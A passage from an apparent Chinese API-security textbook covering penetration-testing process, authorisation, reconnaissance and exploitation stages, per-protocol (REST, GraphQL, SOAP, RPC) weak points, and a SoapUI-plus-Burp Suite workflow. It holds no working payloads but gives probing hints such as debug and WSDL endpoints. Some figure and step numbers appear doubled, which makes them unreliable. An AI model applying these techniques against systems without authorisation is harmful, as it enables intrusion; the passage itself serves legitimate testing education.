常被用来分析HTTP/HTTPS协议中的安全问题,尤其是针对API通信和 身份认证方面的攻击。 4.3.3 辅助类工具及综合类工具 在日常工作中,每个人都会有一些自己特别喜爱的小工具。在API 安全方面,辅助类工具也常常被使用到,它们不一定跟安全有着强关联 关系,但因能帮助安全人员解决实际工作中的某一方面问题而被保存在 用户的工具箱里。 在前文介绍典型工具的章节中,曾多次提及API规范文件,不同的 API使用的规范描述不尽相同。当用户想将每一个API的配置信息导入 Burp Suite或SoapUI时,会遇到需要将API规范文件标准化的问题,这时 其实是需要一个协议转换器,比如将GraphQL的API转换为OpenAPI, 再导入相应的工具中。常用的协议转换器有很多,比如Apimatic API转 换器、har2openapi转换器、swagger2openapi转换器等,在这里主要推荐 一下Apimatic API转换器,因为它支持的文件格式是所有转换器工具中 最多的。 Apimatic API转换器是一个在线的SAAS服务,访问其网站后,上传 原文件(https://www.apimatic.io/transformer),可以获取需要转换的新 格式文件。目前其支持的文件格式如图4-21所示。 ●图4-21 Apimatic API转换器支持的文件格式 除了转换器,数据校验器也很常用。数据校验器的功能主要是验证 API的请求和响应是否与API文档描述一致,比如创建一个API并生成随 机值,根据API规范文件描述,对值进行序列化、反序列化和验证。这 类的工具主要有OpenAPI Enforcer、oas-tools、Swagger Inspector等。 另外,API规范编辑器也是常用的辅助工具之一,比如Swagger- Editor、graphiql等。 综合类工具与其他类工具的不同在于其包含的功能更广泛,比如既 包含API的漏洞发现,又包含API的安全防护;既包含API的研发管理, 又包含API的运维监控。这类的工具以API网关产品和API管理平台产品 为主,其中具有代表性的产品有Google公司的Apigee、开源产品Kong、 亚马逊公司的Amazon CloudWatch等。 4.4 小结 本章为读者介绍了API安全的常用工具集,并对常用的工具进行了 分类。根据各个工具在日常工作中使用频度,详细地介绍了API安全小 贴士、Burp Suite、Postman、SoapUI这4个工具。同时,对其他的工 具,如Imperva公司开源的自动化API攻击工具、经典网络安全工具 Acunetix WVS和Wireshark、API转换器以及API网关等也做了概要的介 绍。 通过这一章内容的学习,读者能够熟悉API日常安全工作的全貌、 各个阶段会使用到哪些工具以及各个工具的用途。接下来的章节中,笔 者将通过工具的使用,深入讲解API渗透测试过程中的诸多细节。 第5章 API渗透测试 在API生命周期管理中,渗透测试是一项很重要的工作。它与功能 测试、模糊测试不同,通过渗透测试中发起的针对目标的模拟攻击行 为,可以先于黑客攻击前发现潜在漏洞和危害,降低API安全风险,减 少因安全问题带来的损失。本章将围绕API渗透测试流程展开叙述,结 合渗透测试的关键步骤,介绍不同类型API渗透测试的特点。 5.1 API渗透测试的基本流程 API渗透测试与普通Web应用程序渗透测试类似,都是通过对资产 暴露面的分析与模拟攻击,挖掘系统中存在的安全缺陷。其基本流程也 遵循渗透测试执行标准,主要包含的步骤:前期准备、信息收集、漏洞 分析、漏洞利用、报告编撰等。结合国内渗透测试工作开展的实际情 况,这里将API渗透测试过程划分为3个阶段。 ■ 前期准备阶段:这一阶段的工作是为后续渗透测试工作的真正开 展做准备,主要以甲乙双方的交流沟通为主,目前是明确渗透测试的目 标和范围、开展的周期、相关干系人、配套资源以及渗透测试授权书 等。 ■ 渗透执行阶段:在了解了本次渗透的主要信息并获得授权后,即 可以开始进入渗透执行阶段。这一阶段的内容与上文所提及的渗透测试 执行标准类似,主要包含API运行环境的基本信息收集(比如IP、域 名、端口、Swagger文件、WSDL文件等)、攻击面分析、漏洞挖掘、 漏洞利用、成果汇总等。 ■ 总结汇报阶段:在针对API的渗透测试工作结束后,渗透测试人 员已经获得了一些成果(比如漏洞列表、被攻陷的系统、暴露的数据 等),需要将这些成果进行汇总整理,结合业务情况进行分析,并与相 关干系人进行沟通交流,达成共识,最后输出正式的渗透测试报告, 并完成汇报。 在这3个阶段中,其技术难度主要集中在渗透执行阶段,接下来将 围绕此阶段重点展开叙述。 5.1.1 API渗透测试的关键点 熟悉项目管理的读者从渗透测试3个阶段的划分方式,可以看出, 一个渗透测试的过程其实可以对应于一个项目管理的过程。在开展渗透 测试活动时,也可以采用项目管理的思想来管理整个过程,制订实施计 划,识别和管理风险,以达到渗透测试的目的。为了保证渗透测试活动 开展的成功性,渗透测试人员需要把握以下关键点。 ■ 渗透测试的目的:为什么要做渗透测试,渗透测试完成之后需要 达到什么效果,这些是渗透测试活动开展前首先要考虑的。大多数渗透 测试活动的开展都是有一定背景的,比如满足监管合规要求、配合开展 安全审计、信息系统全面的安全风险评估。总之,都是有缘由的,这是 整个事情的出发点和归宿。只有清楚了渗透测试的目的,才能在活动开 展过程中,抓大放小,理解重点,达到渗透测试活动开展的预期效果。 ■ 根本原因分析:理解了渗透测试的目的,还需要做进一步的根本 原因分析。根本原因分析的前提是识别问题,发现当前环境下需要渗透 测试的信息系统或API服务存在哪些问题(比如管理上的问题、业务上 的问题、技术架构上的问题等)。正是这些问题的存在使得管理者需要 通过渗透测试来了解整体安全状况。 ■ 渗透测试范围:了解了渗透测试的目的和根本原因,接下来来了 解渗透测试的范围,以便为后续具体执行方案的制定提供方向。渗透测 试范围一般是大小合适最好,范围过大导致工作量和成本增加且无法把 握重点,范围过小则达不到渗透测试的目的。渗透测试范围的界定通常 是和业务管理者、技术管理者共同商讨的结果。业务管理者对高层关注 度、业务方面的风险理解深刻,知道当前的重点和迫切需求是什么;技 术管理者对信息系统的整体架构、技术选型、资产情况、历史安全事件 理解深刻,可以提供很好的参考意见。一个成功的渗透测试范围的界 定,是联合多个干系人共同协商并达成一致的结果。 ■ 可执行的实施计划:实施计划是基于根本原因分析后,为解决当 前存在的问题或措施的落地而制定的解决方案。一个可落地、可执行的 实施计划有利于早期发现问题,及时纠正;同时,也利于计划实施过程 中的跟踪和分析。实施计划的制定可以参考项目管理过程中WBS(工作 分解结构)分解的方式,先粗后细,先制定关键里程碑节点,再循序渐 进细化各个环节。制定实施计划的过程也是熟悉计划落地的过程,通过 计划制定明确进度、工期、人力、资源的投入情况。 ■ 渗透测试团队组建:再好的实施计划都要依赖人去执行,渗透测 试团队的组建也是渗透测试过程中很关键的一项工作。团队成员除了专 业的渗透测试人员外,一般还要有业务人员和信息系统研发或运维人员 帮助渗透测试团队理解渗透测试环境、漏洞以及业务逻辑的相关问题。 如果公司没有专门的渗透测试人员,则需要招募外部渗透测试人员,对 于团队的管理、内外部协调也是很重要的一项工作内容。 ■ 沟通汇报:在渗透测试工作开展的过程中,沟通是一项必不可少 的工作,沟通的目的是为了让相关干系人了解渗透测试工作的现状,同 步关键信息,减少无意义的误解和歧义,增强管理层、团队人员对渗透 测试工作的信心,促进渗透测试工作走向既定目标。沟通的方式有很多 种,可以选择定期的会议、每天的日报、每周的周报、口头汇报以及即 时通信工具等,通过沟通,让关系渗透测试工作的人了解他想了解的内 容,统一目标和利益关系,达成共识,为最终目的助力。 5.1.2 API渗透测试注意事项 渗透测试作为一项模拟黑客攻击的活动,与日常的IT工作存在较大 的区别,在渗透测试过程中有一些注意事项,如果疏忽,可能导致整个 渗透测试工作失败甚至更严重的后果。这些注意事项如下。 ■ 书面授权:自从2017年6月1日正式施行网络安全法以来,在开展 渗透测试工作之前,首先要获得客户的书面授权已成为业界的共识。如 果企业内部有自己的渗透测试人员一般没有那么严格,但如果是外部合 作客户,在渗透测试工作开展前,拿到书面授权书既是工作进入一个新 阶段的标志,也是自我保护的一种方式,渗透测试人员尤其需要注意。 ■ 专业技术人员:API渗透测试虽然和普通的Web安全类似,但仍 有一些技术不同点,尤其是当前API技术在业务系统中广泛使用,不熟 悉API技术的渗透测试人员很难通过细粒度的协议分析识别出API技术 相关的安全问题,越是熟悉技术细节的人,在渗透测试过程中,越是容 易发现不易察觉的漏洞,将整个渗透测试的效果大幅度提升。 ■ 对安全的期望:渗透测试与产品研发过程中的安全测试虽然很多 情况下被视为同一项工作,但事实上并不是。渗透测试是以对API的渗 透和漏洞发现为手段,而不是像安全测试一样为了找出所有的安全问 题。也就是说没有渗透成功的API服务不一定就是安全性较高,可能是 渗透测试人员水平不够;同样渗透成功的API服务也不一定就是安全性 较差。API服务整体是否安全是结合API生命周期的一个综合性的判断 结果,这需要在渗透测试开始时跟管理层沟通,以达到与原始期望的一 致。 ■ 安全告知:渗透测试工作一般都是对线上的生产系统开展的,在 渗透测试过程中会产生一些垃圾数据或对业务的运行造成影响。这需要 在渗透测试人员进场时,向业务负责人告知其风险,并选择非业务高峰 期开展渗透测试活动,避免对业务产生过大的影响。同时,作为渗透测 试人员,在渗透过程中,避免使用大面积的扫描、大流量的并发;在渗 透测试结束后,应当及时清理渗透过程中遗留在信息系统中的数据、文 件、工具或软件等。 5.2 API渗透测试步骤 前文中介绍的渗透测试的3个阶段是从项目管理的角度划分的。在 业界的渗透测试执行标准中,将渗透测试划分为标准的73个步骤:前期 交互、信息收集、威胁建模、漏洞发现、漏洞利用、后渗透或横向移 动、报告撰写。因API安全的部分步骤与传统Web安全雷同,所以在这 里重点介绍信息收集、漏洞发现、漏洞利用、报告撰写4个步骤。 5.2.1 信息收集 信息收集是整个API渗透测试阶段的入口,其收集到的数据是否准 确、全面对于其后期渗透工作的开展尤其重要。一般来说,信息收集主 要有以下3种途径。 ■ 自动化收集:提供自动化工具收集被渗透对象的相关信息,比如 域名、子域名、IP、端口、DNS、路径、参数等。 ■ 手工收集:除了自动化工具收集到的信息外,还有些信息需要手 工收集或整理归类,形成渗透所需要的材料。比如业务流程、组织结 构、人员职能等。 ■ 情报收集:通过商业合作或其他渠道,从外部获得系列的关键信 息。这种方式随着当前网络攻防对抗强度的不断提升,在各个企业中的 应用越来越普遍。 无论是使用一种方式还是多种方式的组合,其目的都是尽可能地收 集被渗透对象的相关信息。在API渗透中,除了常规的域名、端口、服 务器banner之类的信息外,API本身所特有的信息在信息收集时需要关 注。举例如下。 API是否存在接口定义规范描述文件? ■ 如果存在,遵循的规范是什么?SOAP、Open API 2.0、Open API 3.0还是Graph QL? ■ API是依赖什么语言实现的?Java、.NET、PHP、Python、Go还 是其他语言? ■ API运行所依赖的组件是什么版本,是否存在已知漏洞? ■ 互联网上是否存在其泄露的API Key或证书? ■ API是否存在多个版本?多个接入端? 5.2.2 漏洞发现 漏洞发现是利用收集到的信息,发现应用程序的缺陷或漏洞的过 程。在常规的渗透测试中,这种漏洞发现的范围非常广,包含了信息系 统的方方面面,比如网络层协议配置错误、主机补丁没有及时升级、应 用层权限配置错误等。通常情况下,漏洞发现的手段主要有自动化检测 和手工挖掘两种方式。 ■ 自动化检测:是指使用设备、工具、软件与被渗透对象进行交 互,根据应答响应情况判别是否存在漏洞。这种方式的检测一般耗时 短、速度快,但往往存在一定比例的漏报或误报。 ■ 手工挖掘:是指以人工方式,辅助工具来验证被渗透对象是否存 在漏洞。这种方式的检测通常耗时长、速度慢,但准确性高,很少存在 误报。 在实际工作中,往往两种方式混合使用,比如先使用自动化检测工 具全量扫描一次,再针对高风险业务场景,进行人工渗透或复核。 在API渗透测试中,因为API的特殊性,如果前期信息收集不全 (比如API列表不全遗漏了影子API),自动化扫描过程中会无法检测 到相应API的漏洞,这时通常需要手工挖掘。在API渗透测试中,手工 挖掘往往占有较大的比重。当采用手工挖掘时,以下事项是需要重点关 注的。 ■ 认证和授权:对于API的认证鉴权机制,设计人员和研发人员往 往认识不足,有的API调用甚至缺少认证与授权机制。比如令牌、HTTP 方法(GET,POST,PUT和DELETE等)在进入服务器之前是否都经过 了验证,OAuth协议使用的正确性,无认证和授权的API是否可以任意 调用。 ■ 输入验证:和其他类型的应用程序一样,对于输入的不可信是应 用程序安全的基础,但研发人员常常因疏忽导致对输入缺少有效的验 证。比如XML实体注入类型的攻击、不同的响应类型application/json与 application/xml。 ■ 数据编码:包含JSON格式的数据,容易导致反序列化漏洞或远 程代码执行。 ■ API版本和影子API:同一个API的不同版本或未在API规范文件 中描述的API,更容易发现安全漏洞。 针对手工挖掘更多的注意事项,第4章中介绍的API安全小贴士可以 做参考,为手工挖掘提供更多的挖掘思路。 5.2.3 漏洞利用 漏洞利用是基于上一步漏洞分析的基础上,进行有计划的精准打 击,其目的是攻击高价值的目标对象。在前两个步骤中,攻击本质上是 嘈杂的、尝试性的,到了本环节,目标对象的价值、漏洞利用的难度以 及杀伤力已经比较清晰了,渗透人员制定的攻击路径、漏洞适用性也更 深入、更精细。 在传统的渗透中,漏洞利用大多数是定制型的攻击,如果读者熟悉 漏洞利用工具的使用就更容易理解这里提到的定制型攻击的含义。比如 在上一步中,渗透测试人员发现某个API存在SQL注入的漏洞,则到漏 洞利用环节,需要针对此漏洞进行精准的利用。那么需要知道的信息可 能会包含SQL注入的注入类型是什么,是union注入、布尔盲注还是宽字 节注入?后端对应的数据是MySQL、MSSQL还是Oracle?数据库软件 的版本是什么?这个版本的数据库软件有哪些特性?这些细节都是漏洞 利用成功的关键。基于这些背景下的漏洞利用若成功了,攻击过程所形 成的用例也是具有独特性的、定制型的,因为在其他的数据库或同一数 据库的其他版本上同样的用例漏洞利用可能是无法成功的。 在API的漏洞利用阶段,专业技术人员主要依赖漏洞发现阶段获取 的成果,做具体的、针对性强的渗透工作,利用当前发现的漏洞,加载 攻击向量,来达到获取被攻击对象的服务器权限。在这个过程中,通常 是手工操作和自动化工具并行使用的。在第4章中为读者介绍了诸多的 API工具,这些工具通常都会具备漏洞发现和漏洞利用的双重功能。不 同的是,在漏洞发现阶段,仅仅是验证漏洞是否存在,而在漏洞利用阶 段,是通过攻击向量将漏洞对信息系统的危害进一步具体化。通过漏洞 利用为下一步的横向渗透打下基础,为服务器端、内网间的渗透提供可 操作空间。 漏洞利用是针对具体漏洞的攻击性行为,在自动化工具中通常会集 成不同的攻击向量。如Burp Suite中,使用Intruder套件可以选择不同的 攻击向量类型:简单列表、运行时文件、暴力字典等;Metasploit中, 使用不同的漏洞攻击程序模块,加载攻击向量。使用自动化工具对专业 技术人员的要求相对较低,但在API的漏洞利用过程中,如果自动化工 具无法满足要求,往往需要专业技术人员自己根据当前的API协议、 API运行环境、API服务的上下文等去构造攻击向量,这时就需要专业 技术人员对API技术具有深刻的理解,并且熟知漏洞的利用原理才能达 到目的,这是API漏洞利用中最难的地方。 5.2.4 报告撰写 报告撰写是API渗透测试过程中非常重要的一个步骤。可以说前期 所有的工作都是为渗透测试报告的撰写做铺垫的,清点资产、梳理API 清单、汇总漏洞等都是为渗透测试报告的撰写提供素材和数据支撑。报 告是对整个渗透测试工作的总结,并向被渗透测试方呈现渗透测试的结 果,一般来说,一份完成的渗透测试报告通常包含以下内容。 ■ 总体描述:是面向高级管理者或负责API安全管理人员提供的总 结性概述,包含渗透测试的基本背景、基本渗透测试方法、高风险项以 及最终风险评价。 ■ 渗透范围:主要指网络环境、主机类、服务类资产清单,API列 表等。 ■ 漏洞详情:是指渗透测试过程中发现的漏洞利用点、利用方式、 危害等级、影响范围以及整改建议等。 ■ 项目或团队情况:一般包含渗透测试开展的工期、参与人员、团 队人员简介、联系信息等。 渗透测试报告的撰写通常是由多个人来完成,比如渗透测试负责人 负责统筹,渗透测试组长负责技术部分,渗透执行人员负责漏洞部分 等。大多数渗透测试团队对于报告的格式都有固定的文档模板,最终由 渗透测试负责人汇总整理成标准的文档,先在团队内部进行评审,评审 通过后,组织相关干系人开正式会议,完成总结汇报,并就待整改项、 整改计划达成一致意见,以便接下来跟踪闭环。 5.3 API渗透测试的特点 在API渗透的漏洞利用中,漏洞是否利用成功与API自身的技术实 现有着强相关性。作为API渗透测试人员,必须了解API技术的基本知 识、API的技术实现、API漏洞的工作原理,才能做到更有效的API渗透 测试。下面,将结合不同的API技术,为读者阐述不同API技术实现在 API渗透测试中的特点。 5.3.1 RESTful API类 在第一章中为读者简要介绍了REST是一种软件体系架构,而 RESTful API则是其使用REST风格进行HTTP接口数据交互的一种接口 表现形式,常用的接口数据格式有JSON、XML、text等。 1.主要特性 相对于传统Web网页的URL携带参数的传递方式,RESTful API这 种接口形式的改变导致其渗透测试过程有着不同的特性,其主要特性如 下。 ■ RESTful API的接口数据交互格式大多数为JSON格式,由多个参 数或键值对组成的JSON结构作为参数与服务器端进行交互,这种请求 参数的格式,对于渗透测试人员来说,Fuzz测试时很容易混淆。 ■ 大多数API都有认证机制,比如OAuth 2.0、APPID/APPKEY,尤 其是客户自定义认证方式时,渗透测试工作的开展更加困难,需要先理 清其业务逻辑才能更好地开展。 ■ RESTful API与传统的Web网页不同,API通常是纯后端的应用, 这种不可见或无持续连接状态的特性,导致渗透测试人员容易忽略某些 接口或无法发现接口。 ■ RESTful API协议的HTTP状态码与普通HTTP协议存在差异,对 安全辅助工具的自动化判断产生影响。 ■ RESTful API接口描述、参数格式与传统Web网页差异性较大,没 有很好的自动化工具支撑,定制化工作多,对渗透测试人员的能力要求 较高。 ■ 在目前前端技术栈比较丰富的情况下,很多接口交互的发起使用 Ajax请求,比如Vue、Angular、React,这对安全扫描工具自动化地捕获 API流量是很大的挑战。 2.渗透测试要点 正是因为RESTful API渗透测试的这些特性,在渗透工作开展时, 抓住要点,快速地发现问题显得更加重要。以下是渗透测试时的关键要 点。 ■ 尽可能的先获取API规范描述文件,如在线接口文档、api- docs.json文件、Swagger文件,RAML文件,API-Blueprint文件等,通过 文件来获取API端点和详细调用方式及参数定义。 ■ 在无界面的情况下,除了API规范描述文件,通过Proxy代理方 式,对流量进行分析也是获取API详情的一种手段。 ■ 关注可攻击的点,比如请求参数、请求方法 GET/POST/PUT/DELETE、是否存在授权绕过(令牌是否正确验证,是 否令牌有时效性)、是否存在注入点(MySQL、NoSQL)、是否存在 批量分配的问题等。 ■ 关注通用的安全问题,比如是否存在Key泄露、是否存在暴力破 解的可能、同一API多个版本不一致问题、XSS、CSRF等。 ■ 面向不同层次会话的攻击,比如传输层是否使用SSL或使用可信 的数字证书、应用层会话是否设置超时或采取限流熔断机制等。 5.3.2 GraphQL API类 GraphQL是API领域的一个新技术,虽然未被广泛使用,但在Top互 联网企业很常见,比如Facebook、微软。Facebook创建GraphQL是为了 解决API交互过程中过多的数据请求和拓展性问题,故GraphQL API在 其数据交互上有着不同于其他API技术的鲜明特点。 1.主要特性 GraphQL API渗透测试特性与其技术优点有着很强的关联性,主要 表现如下。 ■ 所见即所得,只获取需要的数据。比如在线网站的商品详细查询 API,在其他的API技术实现中,通常的做法是通过字段productId获取该 商品的所有信息,如图5-1所示为某电商网站商品详细API调用样例。 ●图5-1 某电商网站商品详细API调用请求参数与响应参数样例 如果是GraphQL方式,需要获取同样的响应示例,则请求示例需要 包含所有的响应示例的结构,如图5-2所示。 ●图5-2 商品详细信息使用GraphQL API请求参数样例 GraphQL API的这个特点,对渗透测试人员来说,一开始就要通过 接口规范、通信协议数据包分析来详细了解所传输的数据结构,比如图 5-2中产品的JSON对象所包含的属性及属性对象结构。 ■ GraphQL API的另一个特点是减少网络请求,在其他的API技术实 现中需要多次调用API接口获取的信息,在GraphQL API中只需要通过 传入参数的结构控制即可获取与请求结构相应的数据,所以网络请求减 少了。 2.渗透测试要点 正是上文所述的两个特点的存在,导致GraphQL API呈现出与其他 API技术不同的安全问题。主要表现如下。 ■ 未授权访问问题。正因为“所见即所得”的“客户端请求什么,服 务器端会响应什么”的一致性,后端应用程序在应用级的权限访问控制 上存在设计错误,导致越权访问或因越权访问导致的敏感数据泄露。 ■ 嵌套查询带来的性能问题。如果请求的数据格式嵌套层级过于复 杂,对服务器端处理来说会消耗很多资源,这时过多的请求会导致类似 Dos攻击的行为发生。当然,GraphQL本身也提供了超时设置、最大查 询深度、查询复杂度阈值等安全策略,但在应用程序开发过程中往往存 在安全策略设置不当的情况。 ■ GraphQL自身安全配置错误。很多技术组件在使用时官方都会 提供相关的安全配置项说明,比如SpringBoot安全配置项、Tomcat的安 全基线。GraphQL虽然没有这些技术组件的配置复杂,但它自身也存在 一个管理入口,通常请求路径为/graphql或/graphql/console/。如果应用 程序配置错误,渗透测试人员可以尝试访问/graphql?debug=1,进入调 试模式。 5.3.3 SOAP API类 SOAP API主要是指Web Services服务接口,它的数据格式完全依赖 于XML来对内外部提供消息传递服务。与前两类API技术相比较,其安 全性已完成较好的标准框架定义,且功能丰富,易于在应用程序代码中 实现。 1.主要特性 SOAP是严格遵循XML消息定义的消息交换协议,SOAP API的主要 特性如下。 ■ 在技术实现上,SOAP API的33个组成部分中,无论是SOAP协 议、UDDI还是WSDL,都是基于XML语言描述的。其中,WSDL为服 务消费者提供了Web Services接口详细描述,通过解析WSDL获取调用 参数详细描述后使用XML格式数据与服务提供者进行数据交互。这一 点,在SOAP API渗透测试中,成为信息收集的重要入口,如图5-3所 示。 ●图5-3 利用WSDL攻击SOAP API示意图 ■ SOAP API安全框架依赖开发人员去正确实现。在SOAP API的 服务提供者与消费者之间,有一系列的标准安全规范,典型的SOAP服 务安全框架如图53-4所示。 ●图5-4 SOAP服务安全框架 这些安全标准依赖于接口开发者在SOAP消息中实现,但事实上 SOAP API之所以存在安全问题往往是未按照标准去实现或是错误实现 导致的。 2.渗透测试要点 因SOAP API上述的两个特性,在SOAP API的渗透测试中,其渗透 测试要点如下。 ■ XML类的安全问题在SOAP API中比较常见,比如XML实体攻 击、XPath注入、XML炸弹等。 ■ 基于SOAP API安全框架实现错误的安全问题,比如针对Web Services身份验证的攻击、XML签名类攻击、针对算法的攻击等。导致 这些攻击的漏洞有密码在SOAP头信息中以明文形式传递、HTTP Basic 认证信息未加密、未对消息进行签名等。 ■ 传统的Web安全问题仍然存在,比如SQL注入、文件上传漏洞、 DOS攻击、重放攻击等。 ■ 针对WSDL的信息收集或在原URL地址后加“?wsdl”可能成为渗透 测试的快捷入口。 ■ 未授权访问和业务逻辑漏洞也会在SOAP API的渗透测试中被发 现,常见的导致此攻击的漏洞有未使用身份验证、参数缺少校验或保护 导致数据篡改后的权限绕过、敏感数据保护不足等。 5.3.4 RPC及其他API类 除了前面介绍的RESTful API、GraphQL API、SOAP API外,还有 部分以其他的技术实现的API,虽然它们在使用量上占比较少,但仍具 有一定的影响力,比如RPC接口类,Java语言中被广泛使用的RMI、 Dubbo、Protobuf、JMS以及各种消息队列服务等。 1.主要特性 这类API技术的原理各不相同,在通信结构和数据交换格式上有着 鲜明的特征,如下所述。 ■ 通信协议在数据交互上大多数基于Client→Client stub→Server stub→Server的对等结构。典型的如RMI接口的通信原理,如图5-5所 示。 ●图5-5 RMI通信原理示意图 ■ 不同的API技术使用多种数据交换格式,比如JSON格式、XML格 式、序列化数据结构等。 2.渗透测试要点 这一部分的API接口因技术特性各不相同,所以在渗透测试中具有 明显的差异,其主要的渗透测试要点如下。 ■ 使用序列化数据结构的API协议,反序列化漏洞最为频繁,典型 的如Java RMI接口。 ■ 不同的API协议导致在渗透测试过程中需要使用专门的协议辅助 工具,如Protobuf协议辅助工具BlackBox Burp Suite插件、AMF协议辅 助工具Blazer Burp Suite插件、MessagePack数据格式辅助工具 MessagePack Burp Suite插件等。 ■ 探测默认端口或通过nmap扫描服务器开放的端口可以发现服务器 端调用入口。比如Dubbo注册服务器端的20880端口。 ■ 传统的Web安全问题也是仍然存在,比如XXE、SQL注入。 5.4 API安全工具典型用法 上一章为读者介绍了多种API安全工具,每一种工具有着不同的用 途,适用于不同的场景。安全人员在API渗透测试过程中,通常会将几 种工具组合起来使用,以发挥每一种安全工具的优势,下面就为读者详 细介绍几种工具组合使用的方法。 5.4.1 SoapUI+Burp Suite使用介绍 SoapUI的优势在于内置安全扫描功能和易用的操作界面,Burp Suite的优点在于内置多种安全套件,在手工操作的情况下可以支持许多 复杂的渗透测试场景,将SoapUI和Burp Suite组合在一起使用,既可以 利用SoapUI开展快速的漏洞扫描,又可以针对某些特定场景做定制化、 细粒度的分析验证。下面将从代理配置、漏洞扫描、特殊场景验证33个 方面,来介绍SoapUI和Burp Suite的组合使用。 1.代理配置 SoapUI和Burp Suite的基本配置中都提供了代理功能,在这个组合 中,Burp Suite充当代理服务器的角色,对SoapUI发起的请求流量转发 至目的服务器,对目的服务器响应的流量转发至SoapUI;同时,代理服 务器也记录了详细的流量信息,通过记录在Burp Suite中的这些信息, 可以在Burp Suite上做不同场景的漏洞验证。典型的工具组合后结构如 图53-6所示。 ●图5-6 SoapUI+Burp Suite组合工作原理 这里,以SoapUI Pro版(即Ready API 3.2.7版本)、Burp Suite1.2.7 为例,逐步了解上图中的结构在各个工具中是如何配置的。 (1)启用Burp Suite代理设置 在Burp Suite的Proxy套件→Options标签中,提供了代理IP和端口的 设置,默认情况下为127.0.0.1:8080,如图5-7所示。 ●图5-7 Burp Suite代理设置 如果不使用这个配置,可以选中配置项单击Edit按钮进行编辑,设 置为自己定义的IP地址和端口,如图5-8所示。 ●图5-8 Burp Suite代理编辑 (2)设置ReadyAPI代理IP和端口 启动ReadyAPI,分别单击File→Preferences,打开首选项面板。如 图5-9所示。 在弹出的首选项面板中选择代理,单击Proxy,右侧显示代理IP地 址和端口输入框。在这里,要指定为手工设置,然后输入Burp Suite中 使用的IP地址和端口即可,如图5-10所示。 ●图5-9 打开ReadyAPI首选项 ●图5-10 ReadyAPI代理设置 通过以上两步操作,即完成了SoapUI和Burp Suite的关联配置,接 下来则可以在SoapUI中启动安全扫描功能。 2.漏洞扫描 ReadAPI中可以直接发起一个全新的API安全检测,其发起路径为 依次单击文件File→创建安全测试New Security Test,如图5-11所示。 ●图5-11 在ReadAPI中创建安全测试任务 ReadAPI安全测试提供了两种入口方式,如图5-12所示。 ■ 从API规范描述文件发起。 ■ 从API接口的URL路径发起。 ●图5-12 ReadAPI中安全测试入口方式 在这里选择从API规范描述文件开始,在弹出的对话框中,选择已 定义好的描述文件*.yaml或*.json,比如这里使用的文件为swagger编辑 器(网址为https://editor.swagger.io/)中的标准定义文件swagger.yaml, 如图5-13所示。 ●图5-13 在ReadAPI中导入swagger.yaml文件 单击Next按钮后,ReadAPI将会自动解析swagger.yaml,读取文件中 各个API的定义、请求路径、参数描述等相关信息,并弹出需要选择的 安全检测内容。使用者可以根据自己的需要,选择相应的安全测试内 容,如图53-14所示,图中的每一个安全检测内容,复选框选中则表示 启用此项检测。 ●图5-14 ReadAPI中选择安全测试内容 当选择完安全测试内容后,单击图53-14中的Finish按钮,在弹出的 确认对话框中单击Run按钮,即可启动安全扫描,如图5-15所示。 ●图5-15 在ReadAPI中启动安全测试任务 但读者需要注意的是,这时所有的流量都是通过Burp Suite代理 的,所以一定要将Burp Suite的流量拦截按钮关闭,使其无须手工确认 自行通过。如图53-16所示方框中的文字显示为Intercept is off,如果显 示为Intercept is on则再次单击此按钮即可。 ●图5-16 Burp Suite流量拦截设置 当扫描结束后,可以通过图5-17所示的两种方式获取扫描报告。 ●图5-17 ReadAPI中安全测试报告获取方式 3.特殊场景验证 通过Burp Suite代理的扫描信息,在Proxy套件的历史记录中将可以 查看相关信息,比如请求的URL路径、请求参数、响应状态码以及 ReadyAPI发送的payloads信息。如图5-18所示为XSS检测时所发送的某 一条攻击向量内容。 ●图5-18 XSS检测时的攻击向量 为什么要做特殊场景的验证呢?这要从API技术特性和SoapUI安全 扫描的自身弱点说起。在API技术栈中,服务器端和客户端通信使用的 数据格式大多数是XML和JSON。这类具有对象性质的数据结构比传统 的URL请求参数的结构要复杂得多,面对这样的结构,很多自动化扫描 工具无法做正确的分析,SoapUI虽然能支持,但也并不是十分理想。如 果请求参数的数据格式为JSON格式,在SoapUI提供的若干安全能力 中,各个能力下的JSON数据格式支持的效果也是不一样的。 以JSON Fuzz能力为例,SoapUI能识别JSON对象中的各个属性和属 性值,并把属性值替换为payloads;但在SQL注入中,同样的JSON格 式,SQL注入的payloads往往仅添加在第一个属性的属性值,其他的属 性或属性值为子JSON对象时,将无法设置payloads,这就导致扫描不充 分,存在遗漏的情况。又如,针对授权认证的自动化检测,SoapUI过多 地关注于会话级的认证(比如sessionID、cookie值),而缺少API认证 授权中特有的认证授权协议的安全分析(比如OAuth 1.0或OAuth 2.0协 议),这就存在遗漏的情况。再如,SoapUI的敏感信息泄露检测,更多 的还是基于传统的安全扫描思路,检测.htaccess、.ssh的文件、.svn的文 件,而对API消息中的敏感数据、API认证的apikey等敏感数据缺失有效 的检测手段,面对这些场景,就需要使用Burp Suite来进行特殊场景的 验证。 上一章中介绍了很多Burp Suite的插件,这些插件有助于安全人员 快速地分析问题。对于API认证与授权的检测是自动化渗透测试的一个 难点,如果是使用facebook.com、live.com、live.net、contoso.com、 persona.org这几个域名做的SSO认证,推荐使用EsPReSSO插件,它支持 OpenID、OAuth、SAML等认证协议分析,同时支持WS-Attacker、 DTD-Attacker、XML-Encryption-Attacker三种攻击类型的检测。 水平越权和垂直越权的检测也是自动化渗透测试中的难点,在API 安全中按照OWASP API安全风险的划分可以映射到API1-失效的对象级 授权和API5-失效的功能级授权。这类场景的渗透,推荐Autorize插件和 Autorepeater插件联合使用。Autorize插件的功能是分别使用两个不同权 限的账号(比如一个高权限账号,一个低权限账号)来对比分析,检测 是否存在越权问题;而Autorepeater插件则充当自动化发起请求验证的 功能,代替不断的手工验证,从而加快检测效率。 在API技术中,每一种不同的技术实现也对应多种不同的特殊场 景,例如REST API中的JSON数据格式、SOAP API中的XML数据格 式、GraphQL API的自省查询等,这些在Burp Suite都提供了很好的功能 支持。而对应Burp Suite的使用,网络上有很多公开的资料,感兴趣的 读者可以自行搜索学习。 除了SoapUI+Burp Suite的组合外,Postman+Burp Suite的组合也常 常在渗透测试中使用到,但考虑到使用方法十分类似,在此不再赘述, 感兴趣的读者请自行尝试。 5.4.2 Astra工具使用介绍 Astra是API安全工具中的后起之秀,因其集成了SQLMAP、 OWASP ZAP两个工具以及其自身的多个安全检测模块,在API安全检 测方面也很受用户青睐。在上一章中已经做了简要介绍,本节将从工具 安装、主要参数说明、典型场景验证三个方面为读者详细地讲解其使用 方式。 1.工具安装 Astra是Python运行环境的工具软件,在安装Astra之前需要先安装 Python和MongoDB,默认版本Python 2.7。Python和MongoDB的安装在 